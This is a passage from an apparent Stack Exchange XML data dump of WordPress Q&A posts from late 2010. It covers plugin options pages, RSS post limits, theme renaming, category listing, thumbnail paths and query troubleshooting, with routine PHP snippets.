&amp;lt;p&amp;gt;&amp;lt;?php _e( 'This languages was found in the languages folder of this install.', FB_LT_TEXTDOMAIN ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;&#xA;                        &amp;lt;tr valign=&quot;top&quot;&amp;gt; &#xA;                            &amp;lt;th scope=&quot;row&quot;&amp;gt; &#xA;                                &amp;lt;?php _e( 'A example checkbox', FB_LT_TEXTDOMAIN ); ?&amp;gt; &#xA;                            &amp;lt;/th&amp;gt; &#xA;                            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;input name=&quot;example_name[myoption1]&quot; type=&quot;checkbox&quot;  &#xA;                                value=&quot;1&quot; &amp;lt;?php checked('1', &#xA;                                $options['myoption1']); ?&amp;gt; /&amp;gt;&#xA;                            &amp;lt;/td&amp;gt; &#xA;                        &amp;lt;/tr&amp;gt; &#xA;                        &amp;lt;tr valign=&quot;top&quot;&amp;gt; &#xA;                            &amp;lt;th scope=&quot;row&quot;&amp;gt;A example text&amp;lt;/th&amp;gt; &#xA;                            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; name=&quot;example_name[mytext]&quot; &#xA;                                value=&quot;&amp;lt;?php echo $options['mytext']; ?&amp;gt;&quot; /&amp;gt;&#xA;                            &amp;lt;/td&amp;gt; &#xA;                        &amp;lt;/tr&amp;gt; &#xA;                    &amp;lt;/table&amp;gt; &#xA;&#xA;                    &amp;lt;p class=&quot;submit&quot;&amp;gt; &#xA;                        &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e( 'Save Changes', FB_LT_TEXTDOMAIN ); ?&amp;gt;&quot; /&amp;gt; &#xA;                    &amp;lt;/p&amp;gt; &#xA;&#xA;                &amp;lt;/form&amp;gt; &#xA;            &amp;lt;/div&amp;gt; &#xA;            &amp;lt;?php    &#xA;        } &#xA;&#xA;        // Sanitize und validiere input &#xA;        // (Akzeptiert ein array, return ein sanitized array) &#xA;        function localizing_theme_options_validate($input) { &#xA;            // erster Wert muss 0 oder 1 sein &#xA;            $input['option1'] = ( $input['option1'] == 1 ? 1 : 0 ); &#xA;&#xA;            // Wert mit text &#xA;            $input['sometext'] =  wp_filter_nohtml_kses($input['sometext']); &#xA;&#xA;            return $input; &#xA;        } &#xA;&#xA;    } // end class&#xA;} // end if class exists&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is my options from this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/x6GIh.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand the code, is also an dummy, works, but is not so fine in the php-codex for classes.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-01T15:36:24.507" CommentCount="8" />
  <row Id="4736" PostTypeId="1" AcceptedAnswerId="4739" CreationDate="2010-12-01T16:57:36.930" Score="1" ViewCount="451" Body="&lt;p&gt;I'm wondering how/if I can access more than the most recent X posts defined in the wordpress settings. I've seen plugins that migrate all blog content through RSS, haven't poked around to see their methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I manage a couple hundred WordPress blogs, and I'm building a newsletter generator for my clients. They want to be able to select a few posts and have the excerpts appear in the newsletter body. The sites are spread across multiple servers and the newsletter generator is being built on top of our CRM, so direct database queries would be difficult. RSS would be the cleanest, but I can't seem to figure out how to access more than 10 at a time (when 10 is set in the admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2011-01-20T09:52:53.750" Title="Get all posts in RSS" Tags="&lt;rss&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" />
  <row Id="4737" PostTypeId="1" CreationDate="2010-12-01T17:06:28.407" Score="0" ViewCount="136" Body="&lt;p&gt;My website has a footer overlap in IE7, while fine in all later browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the link:&#xA;&lt;a href=&quot;http://kindreviews.com&quot; rel=&quot;nofollow&quot;&gt;http://www.kindreviews.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;zeem&lt;/p&gt;&#xA;" OwnerUserId="1767" LastActivityDate="2011-01-30T22:17:44.303" Title="IE7 footer overlap" Tags="&lt;css&gt;&lt;html&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="4738" PostTypeId="1" CreationDate="2010-12-01T18:25:48.180" Score="0" ViewCount="152" Body="&lt;p&gt;I've been working on a wordpress site and run into the automatic redirect feature when you change a slug. On the current site I am using the Redirects plugin, and was able to modify the redirects so that I could reuse slugs that had been altered without getting the infinite loop problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My company has a similar wordpress site that is not using the Redirects plugin. I am curious to know how I would be able to remove a redirect from a slug that WordPress has put into place without installing Redirects. From my understanding, it's in the database somewhere, but I'm not sure where to look.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-01T20:43:05.627" Title="Removing Automatic Redirects Without Plugin" Tags="&lt;plugins&gt;&lt;redirect&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="4739" PostTypeId="2" ParentId="4736" CreationDate="2010-12-01T18:37:05.013" Score="1" ViewCount="" Body="&lt;p&gt;Codex has example snippet on how to use &lt;code&gt;post_limits&lt;/code&gt; filter to override amount set in admin for feed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset ($query-&amp;gt;query_vars['feed']) and ($query-&amp;gt;query_vars['feed'] == 'ics')) &#xA;    add_filter('post_limits','no_limits_for_feed'); &#xA;&#xA;&#xA;function no_limits_for_feed($limits) { &#xA;   return ('') ; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Usage_Tips&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Usage_Tips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T18:37:05.013" CommentCount="2" />
  <row Id="4740" PostTypeId="1" AcceptedAnswerId="4742" CreationDate="2010-12-01T18:41:08.463" Score="1" ViewCount="147" Body="&lt;p&gt;I installed WordPress on my website along with a theme close to what I wanted. I then changed virtually all the formatting to make it conform to my site. I don't plan on publishing my version, but I would like to make it my own so as not to confuse it with the original. I get notices about updates to the original and I don't want to inadvertently upgrade it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that the folder under themes has the name of the theme, but I imagine there's more to it than that. I can do database alters if necessary. Would it be easier just to create a new theme and copy all the files to it?&lt;/p&gt;&#xA;" OwnerUserId="1551" LastActivityDate="2010-12-20T07:09:23.713" Title="How to Take Ownership of a Theme" Tags="&lt;theme-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4741" PostTypeId="2" ParentId="4740" CreationDate="2010-12-01T19:12:19.597" Score="1" ViewCount="" Body="&lt;p&gt;The common way to build on top of existing theme is to create &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Theme&lt;/a&gt;, which allows to add your modifications while preserving compatibility with parent theme updates and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So depending on what you want there are two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move your modifications to child theme.&lt;/li&gt;&#xA;&lt;li&gt;Discard compatibility and edit theme so it's no longer recognized as original. Likely changing folder name and theme name would be enough, but it's best to also change rest of stuff (while preserving attribution to original author).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T19:12:19.597" />
  <row Id="4742" PostTypeId="2" ParentId="4740" CreationDate="2010-12-01T19:29:19.450" Score="5" ViewCount="" Body="&lt;p&gt;The alternative to using a child theme is to make two adjustments to the current theme although technically only one is actually required.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update the theme name in the theme's &lt;em&gt;style.css&lt;/em&gt; file in the commented section at the top, sometimes referred to as the theme's headers.&lt;/li&gt;&#xA;&lt;li&gt;Rename the theme's main folder, ie. &lt;code&gt;wp-content/themes/THIS-THEME-NAME&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#1&lt;/code&gt; is required, the second is optional, but advised so you don't clash with any new copies of the original theme that may get uploaded(which would overwrite your changed version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you plan to make these changes to a theme, switch to another theme momentarily on the installation whilst doing so, otherwise your database will get left holding incorrect data on the currently active theme(technically it should cause a theme reset anyway, but it would be the better practice to switch theme before making the changes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally i think the child theme approach is safer, but seeing as you've already modded the theme that's potentially hours of work to re-add all the custom code into new files(in the form of a child theme), so hopefully the above is helpful.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-20T07:09:23.713" LastActivityDate="2010-12-20T07:09:23.713" CommentCount="2" />
  <row Id="4743" PostTypeId="2" ParentId="4707" CreationDate="2010-12-01T20:08:26.187" Score="0" ViewCount="" Body="&lt;p&gt;Dump generated SQL request. See if everything looks fine, try to run it directly on database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_request', 'dump_request' );&#xA;&#xA;function dump_request( $input ) {&#xA;&#xA;    var_dump($input);&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T20:08:26.187" CommentCount="2" />
  <row Id="4744" PostTypeId="1" AcceptedAnswerId="4747" CreationDate="2010-12-01T20:09:57.950" Score="1" ViewCount="358" Body="&lt;p&gt;I am trying to output a list of categories per an article. I am using the following code,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php wp_list_categories('child_of=270&amp;amp;style=none'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(string) Style to display the categories list in. A value of list displays the categories as list items while none generates no special display method (the list items are separated by &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the stupid &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; after each output? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frustrating how this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_category(', '); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will output the links without a line break...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:33:49.743" LastActivityDate="2011-01-11T07:33:49.743" Title="Remove line breaks in wp_list_categories()?" Tags="&lt;template-tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4745" PostTypeId="1" AcceptedAnswerId="4752" CreationDate="2010-12-01T20:21:55.857" Score="1" ViewCount="919" Body="&lt;p&gt;I see many methods of showing thumbnails in WordPress, but I'm not immediately sure how I could get only the path to a post's thumbnail rather than the html-ready code generated by functions like &lt;code&gt;the_post_thumbnail()&lt;/code&gt; and &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What methods are available to me to get &lt;em&gt;only&lt;/em&gt; the path of the thumbnail (to set it as a bgimage) rather than the &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; tag? Do I only have the option of parsing the results of the &lt;code&gt;get_&lt;/code&gt; method or is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-01T22:04:30.857" Title="Getting Thumbnail Path rather than Image Tag" Tags="&lt;post-thumbnails&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="4746" PostTypeId="2" ParentId="4745" CreationDate="2010-12-01T20:34:07.493" Score="0" ViewCount="" Body="&lt;p&gt;One method would be to convert whatever is returned from &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt; to an object, and pull the &lt;code&gt;src&lt;/code&gt; attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumbnail = new SimpleXMLElement( get_the_post_thumbnail( $postid ) );&#xA;print $thumbnail-&amp;gt;attributes()-&amp;gt;src;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-01T20:34:07.493" />
  <row Id="4747" PostTypeId="2" ParentId="4744" CreationDate="2010-12-01T20:37:49.993" Score="2" ViewCount="" Body="&lt;p&gt;I came to a solution for this by reviewing the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex&lt;/a&gt;. The trick is to turn off the automatic echo of wp_list_categories, and then use str_replace(). My example follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $variable = wp_list_categories('child_of=270&amp;amp;style=none&amp;amp;echo=0'); ?&amp;gt;&#xA;&amp;lt;?php $variable = str_replace('&amp;lt;br /&amp;gt;', '', $variable); ?&amp;gt;&#xA;&amp;lt;?php echo $variable; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only real change in your query is the inclusion of &quot;echo=0&quot; which will return the information in a variable rather than just displaying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real work is done by str_replace() which looks for any &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; tags and removes them from the string. Then just echo out the updated string and no more breaks!&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-01T20:37:49.993" CommentCount="1" />
  <row Id="4748" PostTypeId="2" ParentId="4738" CreationDate="2010-12-01T20:43:05.627" Score="3" ViewCount="" Body="&lt;p&gt;There's a canonical_redirect, or redirect_canonical function, which gets hooked onto template_redirect. Just remove it using remove_action() in your config file or your theme's functions file...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-01T20:43:05.627" />
  <row Id="4749" PostTypeId="2" ParentId="4736" CreationDate="2010-12-01T20:49:47.807" Score="2" ViewCount="" Body="&lt;p&gt;If memory serves, passing -1 as the number of posts has the same effect. Not entirely sure how it gets tossed into a URL, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, if you're really into having 700+ sites, consider having a cron that svn updates or git pulls from a stable branch, from a private repository on a daily basis... Combined with a daily http call to wp-admin/upgrade.php. It'll save you a lot of hassles when upgrading or tweaking your sites -- in that it'll get done automatically.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-01T20:49:47.807" />
  <row Id="4750" PostTypeId="2" ParentId="4737" CreationDate="2010-12-01T20:59:42.977" Score="1" ViewCount="" Body="&lt;p&gt;You've got bad encoding in your copyright area: &lt;a href=&quot;http://validator.w3.org/check?uri=http%3A//www.kindreviews.com/&amp;amp;doctype=Inline&amp;amp;ss=1&amp;amp;group=0&amp;amp;user-agent=W3C_Validator/1.654&quot; rel=&quot;nofollow&quot;&gt;Markup Validation of   kindreviews.com  - W3C Markup Validator&lt;/a&gt;. Scroll down in the validation report to see line numbers and source code. Fix that and then revalidate and see if there are other code errors.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-01T20:59:42.977" />
  <row Id="4751" PostTypeId="1" CreationDate="2010-12-01T21:05:27.000" Score="0" ViewCount="259" Body="&lt;p&gt;In the backend of Wordpress, under Appearance -&gt; Menus it allows you to add different post types by clicking on checkboxes and then &quot;Add to Menu&quot;. Normally it will display Pages, Posts, and Custom Links - it will also display Custom Post types that are added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages are based on hierarchy, however in the list they are not organized this way. This makes it difficult if you have many pages with the same name (that are common subpages of unique parents).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to modify this behaviour to add hierarchy to the listing? Is there a wordpress function that can be overwritten, or even a new module that can be added to support Page hierarchy in the Menu section?&lt;/p&gt;&#xA;" OwnerUserId="1769" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T15:02:21.970" LastActivityDate="2011-02-06T15:02:21.970" Title="Adding Pages to Menus - No Page Hierarchy in Backend" Tags="&lt;custom-menus&gt;&lt;page&gt;&lt;hierarchical&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="4752" PostTypeId="2" ParentId="4745" CreationDate="2010-12-01T21:10:40.117" Score="3" ViewCount="" Body="&lt;p&gt;Thumbnail is essentially attachment so you can approach from that side - lookup ID with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_thumbnail_id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_thumbnail_id()&lt;/code&gt;&lt;/a&gt; and fetch data with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image_src()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this post for ready-made snippet: &lt;a href=&quot;http://www.deluxeblogtips.com/2010/11/how-to-get-post-thumbnail-url-in.html&quot; rel=&quot;nofollow&quot;&gt;How To Get Post Thumbnail URL In WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T21:10:40.117" />
  <row Id="4753" PostTypeId="1" CreationDate="2010-12-01T21:20:24.670" Score="0" ViewCount="162" Body="&lt;p&gt;query('showposts='.$display_count.'&amp;amp;orderby=comment_count&amp;amp;category__not_in=14'); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wont exclude the category that i want. Posts still show up &lt;/p&gt;&#xA;" LastActivityDate="2010-12-01T23:34:14.527" Title="What is wrong with my wp query, cant exclude the category that i want" Tags="&lt;query&gt;" AnswerCount="2" />
  <row Id="4754" PostTypeId="2" ParentId="4753" CreationDate="2010-12-01T21:29:00.623" Score="2" ViewCount="" Body="&lt;p&gt;As far as I remember &lt;code&gt;category__not_in&lt;/code&gt; takes array of IDs, which are pain to use when written as string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For single category it would is easier to write it as &lt;code&gt;cat=-14&lt;/code&gt; (minus before ID).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;Category Parameters&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I think you meant &lt;code&gt;query_posts()&lt;/code&gt;, not &lt;code&gt;query()&lt;/code&gt;?..&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T21:29:00.623" CommentCount="1" />
  <row Id="4755" PostTypeId="2" ParentId="4745" CreationDate="2010-12-01T22:04:30.857" Score="0" ViewCount="" Body="&lt;p&gt;When I need to display a thumbnail that is attached to a post gallery, I use a custom function in my functions.php. It might be over kill for your needs, but it should cover everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, I retrieve all the images in a post's gallery, and then display each image in a list item. The list contains the thumbnail image wrapped in an anchor that links to the post the image came from. The output string can easily be customized to your needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_gallery_image_thumb_list($size){&#xA;global $post;&#xA;$args = array(&#xA;    'numberposts' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'nopaging' =&amp;gt; false,&#xA;    'post_mime_type' =&amp;gt; 'image',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'orderby' =&amp;gt; 'menu_order ID',&#xA;    'post_status' =&amp;gt; 'any'&#xA;);&#xA;&#xA;$attachments =&amp;amp; get_children($args);&#xA;if ($attachments) {&#xA;    foreach($attachments as $attachment) {&#xA;        foreach($attachment as $attachment_key =&amp;gt; $attachment_value) {&#xA;&#xA;            $imageID = $attachment-&amp;gt;ID;&#xA;            $imageTitle = $attachment-&amp;gt;post_title;&#xA;            $imageCaption = $attachment-&amp;gt;post_excerpt;&#xA;            $imageDescription = $attachment-&amp;gt;post_content;&#xA;            $imageAlt = get_post_meta($imageID, '_wp_attachment_image_alt', true);&#xA;            $imageArray = wp_get_attachment_image_src($attachment_value, $size, false);&#xA;            $imageURI = $imageArray[0]; // 0 is the URI&#xA;            $imageWidth = $imageArray[1]; // 1 is the width&#xA;            $imageHeight = $imageArray[2]; // 2 is the height&#xA;&#xA;            // Build the &amp;lt;img&amp;gt; string&#xA;            $ImgString = '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title(&quot;&quot;, &quot;&quot;, false) . '&quot;&amp;gt;&amp;lt;img src=&quot;' . $imageURI . '&quot; width=&quot;' . $imageWidth . '&quot; height=&quot;' . $imageHeight . '&quot; alt=&quot;' . $imageAlt . '&quot; title=&quot;' . $imageTitle . '&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            // Print the image&#xA;            echo $ImgString;&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;unset($args);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call the function and pass in the size of image you want returned (thumbnail, medium, large or full) like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_gallery_image_thumb_list(&quot;thumbnail&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will need to be called in The Loop or a custom loop.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-01T22:04:30.857" />
  <row Id="4756" PostTypeId="2" ParentId="4028" CreationDate="2010-12-01T22:06:23.167" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// remove aim, jabber, yim &#xA;function hide_profile_fields( $contactmethods ) {&#xA;unset($contactmethods['aim']);&#xA;unset($contactmethods['jabber']);&#xA;unset($contactmethods['yim']);&#xA;return $contactmethods;&#xA;}&#xA;&#xA;// add anything else&#xA;function my_new_contactmethods( $contactmethods ) {&#xA;//add Birthday&#xA;$contactmethods['birthday'] = 'Birthday';&#xA;//add Address&#xA;$contactmethods['address'] = 'Address';&#xA;//add City&#xA;$contactmethods['city'] = 'City';&#xA;//add State&#xA;$contactmethods['state'] = 'State';&#xA;//add Postcode&#xA;$contactmethods['postcode'] = 'Postcode';&#xA;//add Phone&#xA;$contactmethods['phone'] = 'Phone';&#xA;//add Mobilphone&#xA;$contactmethods['mphone'] = 'Mobilphone';&#xA;}&#xA;add_filter('user_contactmethods','my_new_contactmethods',10,1);&#xA;add_filter('user_contactmethods','hide_profile_fields',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-remove-default-author-profile-fields-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;WPBeginner&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-01T22:06:23.167" />
  <row Id="4757" PostTypeId="2" ParentId="4753" CreationDate="2010-12-01T23:34:14.527" Score="0" ViewCount="" Body="&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;           &#xA;$wp_query-&amp;gt;set('cat', '-14,-1172,-867');&#xA;$posts = $wp_query-&amp;gt;get_posts();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-12-01T23:34:14.527" />
  <row Id="4758" PostTypeId="2" ParentId="4751" CreationDate="2010-12-01T23:35:54.340" Score="-1" ViewCount="" Body="&lt;p&gt;The new to Wordpress 3.0 Menu's can be made into a hierarchal structure by dragging the menu items to the left or right. I found a user guide on the &lt;a href=&quot;http://codex.wordpress.org/WordPress_Menu_User_Guide&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex&lt;/a&gt; that you may find helpful.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The WordPress menu editor allows you&#xA;  to create multi-level menus using a&#xA;  simple ‘drag and drop’ interface. You&#xA;  can drag menu items up or down to&#xA;  change their order of appearance in&#xA;  the menu, or you can drag them left or&#xA;  right in order to create a multi-level&#xA;  menu structure. To make one menu item&#xA;  a subordinate of another item, then&#xA;  position it underneath, and drag it&#xA;  slightly to the right of, the main&#xA;  menu item.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are some &lt;a href=&quot;http://codex.wordpress.org/File%3awp3menu-screen6.png&quot; rel=&quot;nofollow&quot;&gt;helpful screen shots&lt;/a&gt; in the guide to help you along your way.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-01T23:35:54.340" CommentCount="2" />
  <row Id="4759" PostTypeId="1" CreationDate="2010-12-02T00:00:21.130" Score="0" ViewCount="114" Body="&lt;p&gt;I have just finished my local dev of a wordpress woo theme for a client which has extensive sidebar customization and widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive done a full mysql export and import via phpmyadmin. However when I go to the demo site there are no widgets assigned to the sidebars that are registered using traditional wordpress methods and the woo theme sidebar manager has no sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im a little confused! &lt;/p&gt;&#xA;" LastActivityDate="2010-12-02T23:16:41.207" Title="Wordpress Local to Live and The Missing Widgets!" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;migration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4760" PostTypeId="1" AcceptedAnswerId="4767" CreationDate="2010-12-02T01:07:45.750" Score="1" ViewCount="380" Body="&lt;p&gt;I installed the Deprecated Calls plugin and it's telling me to change &lt;code&gt;register_sidebar_widget()&lt;/code&gt; and &lt;code&gt;register_widget_control()&lt;/code&gt;, essentially add &lt;code&gt;wp_&lt;/code&gt; first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did but I'm getting &lt;code&gt;Missing argument 3 for wp_register_sidebar_widget()&lt;/code&gt; and &lt;code&gt;wp_register_widget_control()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it ok if I put the default &lt;code&gt;none&lt;/code&gt; for the 3rd arg?&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2011-03-11T23:55:45.270" Title="Missing argument 3 for wp_register_sidebar_widget()" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;php&gt;&lt;sidebar&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="4761" PostTypeId="1" CreationDate="2010-12-02T02:11:30.980" Score="-2" ViewCount="141" Body="&lt;p&gt;among many &lt;a href=&quot;http://techboise.com&quot; rel=&quot;nofollow&quot;&gt;http://techboise.com&lt;/a&gt; is the most great looking buddypress based website in internet.&#xA;My question is how to make a techboise like header section with movable images and all you see on the base of buddypress default theme ?&#xA;there are many people who would like to have such or near such website look of thier own buddypress based website ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Step by Step guide would be great ...&#xA;Thank in advance ….&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2010-12-02T15:32:08.460" ClosedDate="2010-12-02T19:02:31.983" Title="How to make a Header like techboise.com" Tags="&lt;buddypress&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4762" PostTypeId="2" ParentId="4720" CreationDate="2010-12-02T04:27:34.483" Score="1" ViewCount="" Body="&lt;p&gt;I figured this one out finally. It turns out that the data in the wp_usermeta table for user_id=1 (admin) was corrupted. This was apparently causing the SSL redirect issue when trying to login to any domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I restored the proper data for user_id=1 into wp_usermeta, everything worked fine. I would much rather have WordPress give an error like &quot;hey, your usermeta data is messed up&quot;, rather than have some strange random behavior like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2010-12-02T04:27:34.483" />
  <row Id="4763" PostTypeId="1" AcceptedAnswerId="4773" CreationDate="2010-12-02T05:40:27.010" Score="8" ViewCount="354" Body="&lt;p&gt;&lt;strong&gt;Hi all,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to hear what others who are delivering complex non-blog solutions to clients with WordPress as a platform what they are using for automated &lt;a href=&quot;http://en.wikipedia.org/wiki/Regression_testing&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Regression Testing&lt;/strong&gt;&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those not familiar with the term &lt;em&gt;&quot;regression testing&quot;&lt;/em&gt; Wikipedia defines it as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Regression testing is any type of software testing that seeks to uncover software errors after changes to the program (e.g. bugfixes or new functionality) have been made, by retesting the program. The intent of regression testing is to assure 